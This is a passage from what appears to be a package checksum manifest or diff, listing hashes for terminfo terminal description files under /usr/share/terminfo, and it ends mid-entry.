+e978d8dc5048a1c8709f81fbab5e2f38 /usr/share/terminfo/g/guru-44-s +2d57f21faad2fb49be595009aa051ab6 /usr/share/terminfo/g/guru-76 +4fab9e2083a04addbb0e9cabb19ca39a /usr/share/terminfo/g/guru-76-s +3ae5e4af6fc9bb7d5e37d94ce9b3719e /usr/share/terminfo/g/guru-76-w +c15bbd27975b3f318b36a4cbfe64d0d0 /usr/share/terminfo/g/guru-76-w-s +0c9ec259c006fced07d86c43d6a6db6b /usr/share/terminfo/g/guru-76-wm +5e414211d0767ca65de855d5f0146b0e /usr/share/terminfo/g/guru-nctxt +d2f631696a8f1025d63662469cb5465e /usr/share/terminfo/g/guru-lp +690283a7f7409ab631bec2af3ac41ddd /usr/share/terminfo/g/guru +d2f631696a8f1025d63662469cb5465e /usr/share/terminfo/g/guru-76-lp +1316e795685bfc51ff4a1cd10e7e75e3 /usr/share/terminfo/g/guru-s +1316e795685bfc51ff4a1cd10e7e75e3 /usr/share/terminfo/g/guru-33-s +d783efb77623ddcf3505e15fea4eb767 /usr/share/terminfo/g/guru-rv +d783efb77623ddcf3505e15fea4eb767 /usr/share/terminfo/g/guru-33-rv +690283a7f7409ab631bec2af3ac41ddd /usr/share/terminfo/g/guru+unk +690283a7f7409ab631bec2af3ac41ddd /usr/share/terminfo/g/guru-33 +be5436f93f8bfa205617c11296a8e47c /usr/share/terminfo/g/gs5430-22 +8a76e99ec32fa46618b94ee7c5b69af4 /usr/share/terminfo/g/gt100 +5e1525e32fb11bc980261b88a17f5114 /usr/share/terminfo/g/gs5430-24 +d8fed3a31fbe09ca96a84d59f5013eb2 /usr/share/terminfo/g/go225 +d8fed3a31fbe09ca96a84d59f5013eb2 /usr/share/terminfo/g/go-225 +2db91c0650602ba41c21c581e42b9d92 /usr/share/terminfo/g/gs6300 +b606ed7aedc91177bf9ce0f08a6626a4 /usr/share/terminfo/g/gs5430 +70adac3e453f4d1a66a3e4188c75f021 /usr/share/terminfo/h/hft-c-old +eccdebd2eac5d2cb2505226f6e2539a3 /usr/share/terminfo/h/h19-bs +d24f867f5764b8cd38eb7058e5db333b /usr/share/terminfo/h/h19-u +d33513ede36604db1365f469d82e7811 /usr/share/terminfo/h/ha8675 +a6cd51840d1dfa7cf755e6d6ef0e08a8 /usr/share/terminfo/h/ha8686 +5c912014b9b43b8439fe206b85561a79 /usr/share/terminfo/h/hds200 +e210d358e7a439f29401095eb6654e2a /usr/share/terminfo/h/hft-c +eb6ba76b14c7cbf5b3d73a8329765870 /usr/share/terminfo/h/hirez100 +c84cd041a4f0f901859dc5dd9cbc77a0 /usr/share/terminfo/h/hft-old +ed58628c4053e2d149f440ff3558b957 /usr/share/terminfo/h/hp+pfk+arrows +1ab9f85449c4a2a79a4c8ae30ac9e421 /usr/share/terminfo/h/hirez100-w +b999360ef59e918ef464616732bd9836 /usr/share/terminfo/h/hmod1 +a7e7cd2617c7a3448e8fb691911947d6 /usr/share/terminfo/h/hp+arrows +33295e4df745ff7d4f76867af71ace7d /usr/share/terminfo/h/hp+color +6a7b15822cc4d9ac2aa8b41d4d907828 /usr/share/terminfo/h/hp+labels +877171640c7a9d34ab055eab6f5c530c /usr/share/terminfo/h/hp2621b-kx-p +ca44194d4ef9c294daec31ea89904db5 /usr/share/terminfo/h/hp+pfk+cr +5ae777cfa06eae470d4e5a01739f2a93 /usr/share/terminfo/h/hp+pfk-cr +949d8790c1eb50a947b583fd4f83c8fb /usr/share/terminfo/h/hp+printer +8b45c60596d3074c0ead4f633083c2e5 /usr/share/terminfo/h/hp110 +ad7fb4f2ae72ae83ea6c2924a953bf1f /usr/share/terminfo/h/hp150 +48abc687a5c78fa8483dc4b778f25992 /usr/share/terminfo/h/hp236 +00aa0cc5aee9d7a5c4948ec9c2417552 /usr/share/terminfo/h/hp2392 +a9c78149fd0f1df4b1b13bb42a493521 /usr/share/terminfo/h/hp2621-48 +071c6864f848a50bab69f25789ddbe7a /usr/share/terminfo/h/hp2621-ba +1adad11fd5cb0a5fa1224a0939c1fd9d /usr/share/terminfo/h/hp2621-fl +f19b7918dc1c74435063b7f79129e687 /usr/share/terminfo/h/hp2621-nl +0c0a7915c77881b5055577d37ab40b8a /usr/share/terminfo/h/hp2621-nt +88ea59e2f2c85ed90a87fdf877617bfc /usr/share/terminfo/h/hp2621b +6415d0db720ae594698574b25a84342d /usr/share/terminfo/h/hp2621b-kx +13729499404d7198df9d7ef7689149a5 /usr/share/terminfo/h/hp2624b-10p-p +d7e66f7bda680e20b306fa7593fefa2c /usr/share/terminfo/h/hp2621b-p +14e495b9d422fd25c820dc0cce79bca6 /usr/share/terminfo/h/hp2621p +e3d3bd622cc9abeef240732564a2a741 /usr/share/terminfo/h/hp2621p-a +dc1f3780e7e100cf90a3c30885b354c0 /usr/share/terminfo/h/hp2626-12x40 +3d30d29cd4585972c97089efa60d0fc7 /usr/share/terminfo/h/hp2626-12 +074c5baf0bcd5c16727b02f684a69b01 /usr/share/terminfo/h/hp2626-12-s +49a6b2391265140a037e7dfa965b56a6 /usr/share/terminfo/h/hz1520-noesc +777b9ccbb28986c2d52d02a2aec6453e /usr/share/terminfo/h/hp2626-ns +47968831717b9773c579ef534f06b1b9 /usr/share/terminfo/h/hp2626-s +e37fd6a5607761a8be458bbe4488f83f /usr/share/terminfo/h/hp2626-x40 +fb95941daab3d4181ac8ed449ef98820 /usr/share/terminfo/h/hp2627a +5058b0308d227fbb12130c84e3c80aa9 /usr/share/terminfo/h/hp2627a-rev +e1bd1fd3ac0428f81ce8755245a92f31 /usr/share/terminfo/h/hp2627c +838b46fe84ac88615f75a71a426151e2 /usr/share/terminfo/h/hp262x +76d5a5f3bdaed7c4343c0eef8b2d6b16 /usr/share/terminfo/h/hp2640a +1a6a98c48b1e9aa1cc7cb08d130feb8d /usr/share/terminfo/h/hp300h +053ee68e8801c636e983177725807ff5 /usr/share/terminfo/h/hp700-wy +53fbf7bd9646f87d99d882a73f02ba8a /usr/share/terminfo/h/hp9845 +de0843d0d8b3a98c38e919c09cef9b1f /usr/share/terminfo/h/hpex +f3bb54e5c1d02970f7c2a7b2a9399245 /usr/share/terminfo/h/hpsub +b5ca6c9d80823c5b65cd4a169309e26c /usr/share/terminfo/h/hz1000 +b0321130aba766b3feda06d153dad951 /usr/share/terminfo/h/hz1420 +06cd6b5f7533715158ad2e1892a88691 /usr/share/terminfo/h/hz1500 +8db23a6929f0f5838e2348110cc00757 /usr/share/terminfo/h/hz1510 +54a98cf10ff5585e1e500c543e7156c9 /usr/share/terminfo/h/hz1520 +0bf029977a4dfb8f9012892bfd9c0d36 /usr/share/terminfo/h/hz1552-rv +1cd28f12e86af12f33711ff6e60dad96 /usr/share/terminfo/h/hz1552 +11297851609d5f87534f46eb986e985b /usr/share/terminfo/h/hp98550a +b470e60de3288ad7ce3bea8d96fbd25d /usr/share/terminfo/h/hz2000 +5f9d3f3e935c0fb4dae792ce0d33daf3 /usr/share/terminfo/h/htx11 +633bf95320cefa36d9adf4868bfaeb17 /usr/share/terminfo/h/hp2621k45 +11297851609d5f87534f46eb986e985b /usr/share/terminfo/h/hp98550 +bf3f5c55e5797faf20b9bd6e23c82a4b /usr/share/terminfo/h/hp98720 +bf3f5c55e5797faf20b9bd6e23c82a4b /usr/share/terminfo/h/hp98721 +cb5b9c4121d018656d9c3d5b64be8d14 /usr/share/terminfo/h/hp70092 +bf3f5c55e5797faf20b9bd6e23c82a4b /usr/share/terminfo/h/hp9837 +cb5b9c4121d018656d9c3d5b64be8d14 /usr/share/terminfo/h/hp70092A +cb5b9c4121d018656d9c3d5b64be8d14 /usr/share/terminfo/h/hp70092a +f79e7eb3d3967c5072a7de03a4fbe6c3 /usr/share/terminfo/h/hpansi +f79e7eb3d3967c5072a7de03a4fbe6c3 /usr/share/terminfo/h/hp700 +438285f96d34d751390460ede61f76be /usr/share/terminfo/h/hp2648a +438285f96d34d751390460ede61f76be /usr/share/terminfo/h/hp2648 +a96bf46dd5bcf898ac979297da81d99d /usr/share/terminfo/h/hp45 +2552381ae592f0029aa5cfb489cd5156 /usr/share/terminfo/h/hp2 +a96bf46dd5bcf898ac979297da81d99d /usr/share/terminfo/h/hp2645 +054533ae364ce3e1623b4ea48a77d4b2 /usr/share/terminfo/h/hp2645a +054533ae364ce3e1623b4ea48a77d4b2 /usr/share/terminfo/h/hp2647a +4ac94c13173180862622d6f7c40a4f1a /usr/share/terminfo/h/hp2640b +054533ae364ce3e1623b4ea48a77d4b2 /usr/share/terminfo/h/hp2641a +4ac94c13173180862622d6f7c40a4f1a /usr/share/terminfo/h/hp2644a +0d303166990c936a74d08652f4e4944f /usr/share/terminfo/h/hp2626a +0d303166990c936a74d08652f4e4944f /usr/share/terminfo/h/hp2626p +85ddaf69122200862b507f2a62fa50e9 /usr/share/terminfo/h/hp2624 +0d303166990c936a74d08652f4e4944f /usr/share/terminfo/h/hp2626 +5fef4385a84f18b979a20d49c8f00eb9 /usr/share/terminfo/h/hp2624b-p +202fe85eee02bcacd3d9c492f5aa094c /usr/share/terminfo/h/hp +5fef4385a84f18b979a20d49c8f00eb9 /usr/share/terminfo/h/hp2624b-4p-p +c3c4faf8b4df9b5ff4633575f60fcc47 /usr/share/terminfo/h/hp2624a-10p +c3c4faf8b4df9b5ff4633575f60fcc47 /usr/share/terminfo/h/hp2624b-10p +85ddaf69122200862b507f2a62fa50e9 /usr/share/terminfo/h/hp2624a +c3c4faf8b4df9b5ff4633575f60fcc47 /usr/share/terminfo/h/hp2624-10p +85ddaf69122200862b507f2a62fa50e9 /usr/share/terminfo/h/hp2624b +85ddaf69122200862b507f2a62fa50e9 /usr/share/terminfo/h/hp2624b-4p +700a82ac9e9533564c283f129274a13d /usr/share/terminfo/h/hp2623a +700a82ac9e9533564c283f129274a13d /usr/share/terminfo/h/hp2623 +990540f5eaca24a9b52e9f14d09e17cb /usr/share/terminfo/h/hp2622a +990540f5eaca24a9b52e9f14d09e17cb /usr/share/terminfo/h/hp2622 +703a2435de3a762848b60bfff7677070 /usr/share/terminfo/h/h19-b +b090cfbbeb352793944be391910f2e47 /usr/share/terminfo/h/h100 +633bf95320cefa36d9adf4868bfaeb17 /usr/share/terminfo/h/hp2621-k45 +a07e672738c57b57c2493bd38c6e878a /usr/share/terminfo/h/hp2621a-a +a07e672738c57b57c2493bd38c6e878a /usr/share/terminfo/h/hp2621-a +5e1bb74d4ccdc8663a1f1f3f8d3b3856 /usr/share/terminfo/h/hp2397a +5e1bb74d4ccdc8663a1f1f3f8d3b3856 /usr/share/terminfo/h/hp2397 +0dc5d2718b3ed1efd58c5e2fb4b31267 /usr/share/terminfo/h/hp2382a +0dc5d2718b3ed1efd58c5e2fb4b31267 /usr/share/terminfo/h/hp2382 +2552381ae592f0029aa5cfb489cd5156 /usr/share/terminfo/h/hpex2 +202fe85eee02bcacd3d9c492f5aa094c /usr/share/terminfo/h/hpgeneric +436977d51982240411f56fd04f1ba88e /usr/share/terminfo/h/hft +82ebb3916cbfc8fbb08814e357e883c1 /usr/share/terminfo/h/h29a-nkc-uc +67982bd081db3f309ee79c5f319f32e6 /usr/share/terminfo/h/h29a-nkc-bc +975719b8e4b573cee92f994b7e63a51d /usr/share/terminfo/h/h29a-kc-uc +39a1c8aa7f2704fabe46377f5401a49b /usr/share/terminfo/h/h29a-kc-bc +777c9f67aee9bd286fc81060921bc228 /usr/share/terminfo/h/h19kermit +777c9f67aee9bd286fc81060921bc228 /usr/share/terminfo/h/h19k +0ec4622adea3e414fb582b5beb48745c /usr/share/terminfo/h/h19-us +0ec4622adea3e414fb582b5beb48745c /usr/share/terminfo/h/h19us +559f9b8e051b464ec9344aeb64f51457 /usr/share/terminfo/h/h19-g +0ec4622adea3e414fb582b5beb48745c /usr/share/terminfo/h/h19-smul +559f9b8e051b464ec9344aeb64f51457 /usr/share/terminfo/h/h19g +dc7399cec78b77d71987f28bb1f1e6fe /usr/share/terminfo/h/h19a +dc7399cec78b77d71987f28bb1f1e6fe /usr/share/terminfo/h/heath-ansi +dc7399cec78b77d71987f28bb1f1e6fe /usr/share/terminfo/h/heathkit-a +703a2435de3a762848b60bfff7677070 /usr/share/terminfo/h/heath +dc7399cec78b77d71987f28bb1f1e6fe /usr/share/terminfo/h/h19-a +703a2435de3a762848b60bfff7677070 /usr/share/terminfo/h/heath-19 +703a2435de3a762848b60bfff7677070 /usr/share/terminfo/h/heathkit +d5da519342a3938742043607426d20a7 /usr/share/terminfo/h/h100bw +703a2435de3a762848b60bfff7677070 /usr/share/terminfo/h/h19 +d5da519342a3938742043607426d20a7 /usr/share/terminfo/h/h-100bw +da400204d2265e9948760539831cedc9 /usr/share/terminfo/h/hazel +b090cfbbeb352793944be391910f2e47 /usr/share/terminfo/h/h-100 +da400204d2265e9948760539831cedc9 /usr/share/terminfo/h/he80 +da400204d2265e9948760539831cedc9 /usr/share/terminfo/h/h80 +88bd6c92094de2c0462f491059987c31 /usr/share/terminfo/h/hpterm +59e24bf21e355e5209289a3d01882398 /usr/share/terminfo/h/hp2621-wl +59e24bf21e355e5209289a3d01882398 /usr/share/terminfo/h/hp2621A +59e24bf21e355e5209289a3d01882398 /usr/share/terminfo/h/hp2621a +59e24bf21e355e5209289a3d01882398 /usr/share/terminfo/h/hp2621 +7c130f4c13e36d4a6deff1a62cd24458 /usr/share/terminfo/i/ibm+color +a7f0315d5ae26feea81b775c39ac6afb /usr/share/terminfo/i/i400 +1178809af82692fd6d07562ec8a1bb57 /usr/share/terminfo/i/ibcs2 +09d4bf73167e6b810a2edcef9568b1d2 /usr/share/terminfo/i/ibm3161-C +9cf6de3da7bef950c618f25e24461080 /usr/share/terminfo/i/ibm3151 +0965c83b1cce3b2f994f5e453c2a8a64 /usr/share/terminfo/i/ibm6153-40 +a0dd484269781e44e4f987dbeab3c355 /usr/share/terminfo/i/ibm3162 +4c86de992de6f9aaa301019ba5dc1f85 /usr/share/terminfo/i/ibm327x +cd5f98c191ba4a76ddb0378a4a8b463f /usr/share/terminfo/i/ibm5154 +09461915cb9deeb1b35172c071dec4e5 /usr/share/terminfo/i/ibm6153 +fd0ea6db5153456a494240ccabe2e681 /usr/share/terminfo/i/iris-ansi-ap +6db2939e55a767a0a855de1773720181 /usr/share/terminfo/i/ibm6153-90 +daf66f37fa312ecfdacb14211da3d6d8 /usr/share/terminfo/i/ibm6154 +563db6bf6ee2ecc5d0d8a1f133664127 /usr/share/terminfo/i/ibm6155 +c2fde634ebe212741117dc70736afac0 /usr/share/terminfo/i/ibm8514 +964cf4deaf888b2bd84f4c34b6db6842 /usr/share/terminfo/i/ibm8514-c +8196fff57001f5e370529407d2188994 /usr/share/terminfo/i/ibmaed +4fb0cbdaff6e89215e51737a55c978ee /usr/share/terminfo/i/ibmega +52038862c068347c99a0efc28fad3af2 /usr/share/terminfo/i/ibmmono +f3d360822f4767b6cebe46bd069e6043 /usr/share/terminfo/i/ibmvga +8d05d0c5b81510408869256d34ac7526 /usr/share/terminfo/i/ibmvga-c +1cfd3799b0a7947f9a50031d5bffa5a8 /usr/share/terminfo/i/ifmr +a5842928da6be84d7a997492806f1a47 /usr/share/terminfo/i/ims950 +db00c609a3f69f6a9ae172902de604e3 /usr/share/terminfo/i/ims950-b +668a7f9d5f21e57c6c63364e7ca14785 /usr/share/terminfo/i/ims950-rv +c9cb2703bd087b987ded819245e756b2 /usr/share/terminfo/i/infoton +bc9287a67d7fdf11eefc93f7e2508ced /usr/share/terminfo/i/intertube2 +0a149f88f1eba227be6f2ce0c20c09d0 /usr/share/terminfo/i/intext +337dbac286276acdc2085fe4cf2b29a0 /usr/share/terminfo/i/iris-color +e0e02bff9d375c0d16516358397988df /usr/share/terminfo/i/iris40 +08d51d1b107c3fd2edc82407331e33fe /usr/share/terminfo/i/icl6404 +c5d267cadb5436484712fc94809e8316 /usr/share/terminfo/i/ibmpcx +b794f75882e9587f765fe5f9bca57f47 /usr/share/terminfo/i/iris-ansi-net +b794f75882e9587f765fe5f9bca57f47 /usr/share/terminfo/i/iris-ansi +80d8bb3f31db9ac8b77aa14ecf94258c /usr/share/terminfo/i/iq140 +5d52b459f8fa3749897f57e188440840 /usr/share/terminfo/i/iq120 +93aae017b94eeb236653bb9ef625d458 /usr/share/terminfo/i/intextii +93aae017b94eeb236653bb9ef625d458 /usr/share/terminfo/i/intext2 +e1017a7a7750c4feba5d973265dd22e9 /usr/share/terminfo/i/intertube +e1017a7a7750c4feba5d973265dd22e9 /usr/share/terminfo/i/intertec +158b115e3239805ca9319744876bf161 /usr/share/terminfo/i/ims-ansi +7091880fe2c161f0e3e7fb0987b12e0c /usr/share/terminfo/i/icl6404-w +c5d267cadb5436484712fc94809e8316 /usr/share/terminfo/i/ibmx +8a76e99ec32fa46618b94ee7c5b69af4 /usr/share/terminfo/i/i100 +08d51d1b107c3fd2edc82407331e33fe /usr/share/terminfo/i/icl6402 +40e2e32eb1b61030e3ea7bce34c59131 /usr/share/terminfo/i/ibmapa8c +e5e46cfdbff7963065ad368b57a2f33d /usr/share/terminfo/i/ibmpc3 +5bcce8a10d94d3f2734ddca54c3e5f1b /usr/share/terminfo/i/ibmpc +0ab8e76df889a37d4dea4ff003c6c37f /usr/share/terminfo/i/ibm3163 +39b8c675b7dfd2410bcc5e91704602cd /usr/share/terminfo/i/ipsi +40e2e32eb1b61030e3ea7bce34c59131 /usr/share/terminfo/i/ibmapa8 +d4d8d4de5d56d249c7a8de65dbabedce /usr/share/terminfo/i/ibmapa16 +cdbdb99e233ff060ce806f410f44023b /usr/share/terminfo/i/ibm8513 +cdbdb99e233ff060ce806f410f44023b /usr/share/terminfo/i/ibm8512 +f2a2067c551fac8f2797b8d13f3b97c8 /usr/share/terminfo/i/ibm8507 +f2a2067c551fac8f2797b8d13f3b97c8 /usr/share/terminfo/i/ibm8604 +71468de08183c320d62e578f1a2ac4dd /usr/share/terminfo/i/ibmega-c +f2a2067c551fac8f2797b8d13f3b97c8 /usr/share/terminfo/i/ibm8503 +fdbe5fa8a380c5d2fd7afc0f8720cb80 /usr/share/terminfo/i/ibmapa8c-c +fdbe5fa8a380c5d2fd7afc0f8720cb80 /usr/share/terminfo/i/ibm6154-c +8d81c484aba5b4a74553110ea6762c35 /usr/share/terminfo/i/ibm5151 +3256a14326fd86287c7db7b8927a9bac /usr/share/terminfo/i/ips +71468de08183c320d62e578f1a2ac4dd /usr/share/terminfo/i/ibm5154-c +d2f65ee7a1c04ff5e9445aec4931f0cb /usr/share/terminfo/i/ibmmpel-c +d2f65ee7a1c04ff5e9445aec4931f0cb /usr/share/terminfo/i/ibm5081-c +a05b9daba7145fbdada32ceee14b9b6c /usr/share/terminfo/i/ibm-system1 +0ab8e76df889a37d4dea4ff003c6c37f /usr/share/terminfo/i/ibm3161 +324e39ea8b55695c3d93de774a1cbc47 /usr/share/terminfo/i/ibmpc3r-mono +ccf8bef5c0e3722fdbd22b4a99b56bd7 /usr/share/terminfo/i/ibm3164 +ccf8bef5c0e3722fdbd22b4a99b56bd7 /usr/share/terminfo/i/i3164 +8e3c50b04210e3d8528b7ece1dd45735 /usr/share/terminfo/i/ibm3101 +8e3c50b04210e3d8528b7ece1dd45735 /usr/share/terminfo/i/i3101 +436977d51982240411f56fd04f1ba88e /usr/share/terminfo/i/ibm5081 +3aa3104d6a481c8ed18242f19b610477 /usr/share/terminfo/i/ibmpc3r +eebb119122bbd1881c90f9cd36a0861b /usr/share/terminfo/i/ibm-apl +4df7a479a2a1999d4318eca2891674d3 /usr/share/terminfo/i/ibm5051 +4df7a479a2a1999d4318eca2891674d3 /usr/share/terminfo/i/ibm-pc +ffe448dd406711d2fe5b1bf001ca6759 /usr/share/terminfo/j/jaixterm +851db58710d2563f97582238deb650b7 /usr/share/terminfo/j/jaixterm-m +088e6e8c5730caba8e52876709cf201f /usr/share/terminfo/j/jerq +966676e13d72339d9a5feabd8aa15f59 /usr/share/terminfo/k/kermit-am +a9b901d0f414ef4c8bdb8ea092dad53f /usr/share/terminfo/k/kermit +511afd4c6eab6f13fd51f84ec18c57f2 /usr/share/terminfo/k/klone+koi8acs +a6fe183dd26745590d53edb423762793 /usr/share/terminfo/k/klone+acs +137c49dddeb7a698f0263aaa1a6768ab /usr/share/terminfo/k/klone+color +fdd10979c53d7803663c47bef15bf210 /usr/share/terminfo/k/klone+sgr-dumb +71c237222514432d163361f2a85e9dfa /usr/share/terminfo/k/klone+sgr +f581dc6176dc30fc3cf679551f92c3a7 /usr/share/terminfo/k/kt7ix +31d1074e76a02265f1af95d300f14683 /usr/share/terminfo/k/kt7 +63821a23734ddefe299ac8a7641b4d1f /usr/share/terminfo/k/kterm-co +38617eaf279c24e975af3e50dd0d0bd5 /usr/share/terminfo/k/kterm +b17a8e56531add783a8c82d91e6ac93e /usr/share/terminfo/k/kvt +c99d2378815e055648906fc3acef9006 /usr/share/terminfo/k/ktm +63821a23734ddefe299ac8a7641b4d1f /usr/share/terminfo/k/kterm-color +66295131b3c0a11f6eba1182735af58a /usr/share/terminfo/k/kaypro2 +66295131b3c0a11f6eba1182735af58a /usr/share/terminfo/k/kaypro +7091880fe2c161f0e3e7fb0987b12e0c /usr/share/terminfo/k/kds7372-w +08d51d1b107c3fd2edc82407331e33fe /usr/share/terminfo/k/kds7372 +08d51d1b107c3fd2edc82407331e33fe /usr/share/terminfo/k/kds6402 +633bf95320cefa36d9adf4868bfaeb17 /usr/share/terminfo/k/k45 +d872fc7591f800bed8115f7bd72d36e0 /usr/share/terminfo/l/linux-c-nc +cfe817dd56f0f1be664f50d3dae3c8e5 /usr/share/terminfo/l/linux +a7ce6db03b72b841503ff3c1228f167a /usr/share/terminfo/l/linux-c +9eb51acd90eb46dbce54e6762cea59d5 /usr/share/terminfo/l/linux-koi8 +1d51639def34060082cbcb31a42cb1a4 /usr/share/terminfo/l/linux-koi8r +57b2b148d32c6c349cf414f9f9259ebb /usr/share/terminfo/l/linux-lat +beb280694f1c67852cbaef6ca953e363 /usr/share/terminfo/l/linux-m +c1bf68a2131399407b926aee90955843 /usr/share/terminfo/l/linux-nic +52bfbcbb971ddbfee0241bc41c18641d /usr/share/terminfo/l/lisa +de169d7b843ae6b8e92050979113f0e0 /usr/share/terminfo/l/lisaterm +510943b46d91f9f8e5c5a0b1958100c2 /usr/share/terminfo/l/lisaterm-w +c3e92224b705e4c4ab6e51cf9544c569 /usr/share/terminfo/l/liswb +ce83856197d902440e2259045c913a2a /usr/share/terminfo/l/ln03 +510b41fee9c91f932c8deff284965ee7 /usr/share/terminfo/l/ln03-w +8576df015a0b5f3456fc99ad34483b76 /usr/share/terminfo/l/luna68k +8576df015a0b5f3456fc99ad34483b76 /usr/share/terminfo/l/luna +8e177a725c93172d57190cb3932f9b93 /usr/share/terminfo/l/lpr +fe7933c9af59c660981225468627a147 /usr/share/terminfo/l/la120 +26106be394fea470d10db5f45043cdd5 /usr/share/terminfo/l/layer +dec82a5e6c3e1d6cb4a90109ac128529 /usr/share/terminfo/l/lft-pc850 +dec82a5e6c3e1d6cb4a90109ac128529 /usr/share/terminfo/l/lft +2dfb5dc3b706cd29273ab25f20394ac8 /usr/share/terminfo/m/mach-bold +215cacd84662e9e93e998833477da362 /usr/share/terminfo/m/mach +86fb070e9a26a943f70f18f6fc1b75c2 /usr/share/terminfo/m/minitel1b-80 +a4b356122e490897b411db4893c8483e /usr/share/terminfo/m/mach-color +72f032b1abfd12a7fe00237fee4194e8 /usr/share/terminfo/m/masscomp +c7581539fa5c6ada00d0a487e4d81fdb /usr/share/terminfo/m/masscomp1 +0b56dd67a90d558ab3ee36f9832b5d2b /usr/share/terminfo/m/masscomp2 +3d7bc6ec45c3e1903d8c30b7abf20402 /usr/share/terminfo/m/megatek +834f225695d4e3f5353211c492702c10 /usr/share/terminfo/m/memhp +e941fbedc7513efcdc49bd53fe296ef1 /usr/share/terminfo/m/mgr +fb69d98515f8a4a07055a0920be34dd2 /usr/share/terminfo/m/mgr-linux +372b64ce2a22dde18eb9e966ae569d3f /usr/share/terminfo/m/mgr-sun +a8f2bd76834f4ec25d9922ac33882f67 /usr/share/terminfo/m/mgterm +8cd2bdcd00af4289eff59ab37d8d2c7a /usr/share/terminfo/m/mime-fb +aa2e298e3d87e7f89f0f0d1930860128 /usr/share/terminfo/m/mime-hb +c8ce28297905d9469f65175e81dbde19 /usr/share/terminfo/m/mime2a-s +2def3227cffabbe95c1c6630c50f4dec /usr/share/terminfo/m/mime3a +4609d7a4bab2f2a221d9a93f0148a997 /usr/share/terminfo/m/minitel1 +612776f024dd324cda7bb9789240de95 /usr/share/terminfo/m/minitel1b +1160a094d1662656fe3065bb01e49aaa /usr/share/terminfo/m/minix-old +c7b8eddeafdc494c87de5926df57d1d6 /usr/share/terminfo/m/minix +9021f7c7c84f96b0cf36e3f26d93edd8 /usr/share/terminfo/m/microterm5 +0fd4f409b46c1b64b12585f53941d693 /usr/share/terminfo/m/mai +a277f29e28a98784b91ca1d81f827fcb /usr/share/terminfo/m/minix-old-am +f60b7a3f9a17f46f2fa5a505c4ac44d9 /usr/share/terminfo/m/modgraph2 +26960e28e1cec179ddcbd739d7bfb0fc /usr/share/terminfo/m/mono-emx +34df81e854c32b6b749911dd955b8deb /usr/share/terminfo/m/ms-vt100 +2c31ef7ca8cdac4ad7b1179bc9f9aff0 /usr/share/terminfo/m/mt4520-rv +65996f6f04391604238668c3aa6f4ff1 /usr/share/terminfo/m/mt70 +385d67507d99c28ef006d84fe128c595 /usr/share/terminfo/m/mod +65996f6f04391604238668c3aa6f4ff1 /usr/share/terminfo/m/mt-70 +2b8dcf8f10022a3b197c457b5e2802a3 /usr/share/terminfo/m/mskermit227am +2b8dcf8f10022a3b197c457b5e2802a3 /usr/share/terminfo/m/msk227am +02621821e1ea53dfb2d8c7f34bb8f786 /usr/share/terminfo/m/mskermit22714 +02621821e1ea53dfb2d8c7f34bb8f786 /usr/share/terminfo/m/msk22714 +a35813bacec34ee327caeb0181d03e9d /usr/share/terminfo/m/mskermit227 +a35813bacec34ee327caeb0181d03e9d /usr/share/terminfo/m/msk227 +151e8ba3b6c4bbcdc114147da3f9e7e3 /usr/share/terminfo/m/modgraph +151e8ba3b6c4bbcdc114147da3f9e7e3 /usr/share/terminfo/m/mod24 +385d67507d99c28ef006d84fe128c595 /usr/share/terminfo/m/modgraph48 +29c38e0896218c95b2e25d784a6a2daa /usr/share/terminfo/m/mm340 +29c38e0896218c95b2e25d784a6a2daa /usr/share/terminfo/m/mime340 +aa89b858d3447305f8c3212a39b53fb6 /usr/share/terminfo/m/mm314 +aa89b858d3447305f8c3212a39b53fb6 /usr/share/terminfo/m/mime314 +4226e970e45bca6a76cb6effce455ca7 /usr/share/terminfo/m/mime2a-v +4226e970e45bca6a76cb6effce455ca7 /usr/share/terminfo/m/mime2a +a927c7bae7d51934c73b62bd42679f4b /usr/share/terminfo/m/mime3ax +6256d2796a07330e1a4a4ba984acc666 /usr/share/terminfo/m/mime +a927c7bae7d51934c73b62bd42679f4b /usr/share/terminfo/m/mime-3ax +6256d2796a07330e1a4a4ba984acc666 /usr/share/terminfo/m/mime1 +6256d2796a07330e1a4a4ba984acc666 /usr/share/terminfo/m/mime2 +6256d2796a07330e1a4a4ba984acc666 /usr/share/terminfo/m/mimei +6256d2796a07330e1a4a4ba984acc666 /usr/share/terminfo/m/mimeii +f3ddcf67455ebab8d1ad0f5a3372c293 /usr/share/terminfo/m/microbee +f3ddcf67455ebab8d1ad0f5a3372c293 /usr/share/terminfo/m/microb +7e551e7d5030d6fdad4179fa349b243e /usr/share/terminfo/m/macterminal-w +7e551e7d5030d6fdad4179fa349b243e /usr/share/terminfo/m/mac-w +96cb6bef343ce6bf887400803e1a82b6 /usr/share/terminfo/m/macintosh +96cb6bef343ce6bf887400803e1a82b6 /usr/share/terminfo/m/mac +27205b8b815f607b9c0557a52985839e /usr/share/terminfo/m/minitel +27205b8b815f607b9c0557a52985839e /usr/share/terminfo/m/minitel-2 +27205b8b815f607b9c0557a52985839e /usr/share/terminfo/m/minitel-2-nam +8749072f405c1c3f518f1b39cbf8790d /usr/share/terminfo/m/mdl110 +27205b8b815f607b9c0557a52985839e /usr/share/terminfo/m/m2-nam +914107f21c01de28425bfad0c3105cf5 /usr/share/terminfo/m/microterm +c0566cdadaa32ae92862cf827784f271 /usr/share/terminfo/n/ncr160vt100an +070b8c1c4ad7f2cf19cdd9a00a37d2f4 /usr/share/terminfo/n/ncr160vppp +df5e5ece664f0d56e1c1db2d4eefe7e7 /usr/share/terminfo/n/ncr160vpwpp +dadda9e7b27b921f89f7f5ade1da2126 /usr/share/terminfo/n/news40-o +dadda9e7b27b921f89f7f5ade1da2126 /usr/share/terminfo/n/nwp512-o +e6199b67949a850047f65a024c990aaf /usr/share/terminfo/n/ncr160vt100pp +adee3030f1034cd9dcbce00d149ce04b /usr/share/terminfo/n/ncr160vt100wan +cbfc62bfdbbeff7a844714774ce4416c /usr/share/terminfo/n/ncr160vt100wpp +eb0b90fadd94c360e7fc0b2535adda35 /usr/share/terminfo/n/ncr160vt200an +de3f63ac94673bfc94dbae334bf19f6d /usr/share/terminfo/n/ncr160vt200pp +768e95277623badbd16fa7de54bbd3ee /usr/share/terminfo/n/ncr160vt200wan +eb0f9c17d12bdeaf87adf17a4d410f22 /usr/share/terminfo/n/ncr160vt200wpp +451c0c9bdaf1211743132d2f38a70b20 /usr/share/terminfo/n/ncr160vt300an +5098f01a3805f312f9bdcadbb99131ce /usr/share/terminfo/n/ncr160vt300pp +17f454201b43e3dda5de32b4906ac4a1 /usr/share/terminfo/n/ncr160vt300wan +5745a3502f37c168736a1563b0195c25 /usr/share/terminfo/n/ncr160vt300wpp +8d883a4a1753f9fd1ccc167b684c946f 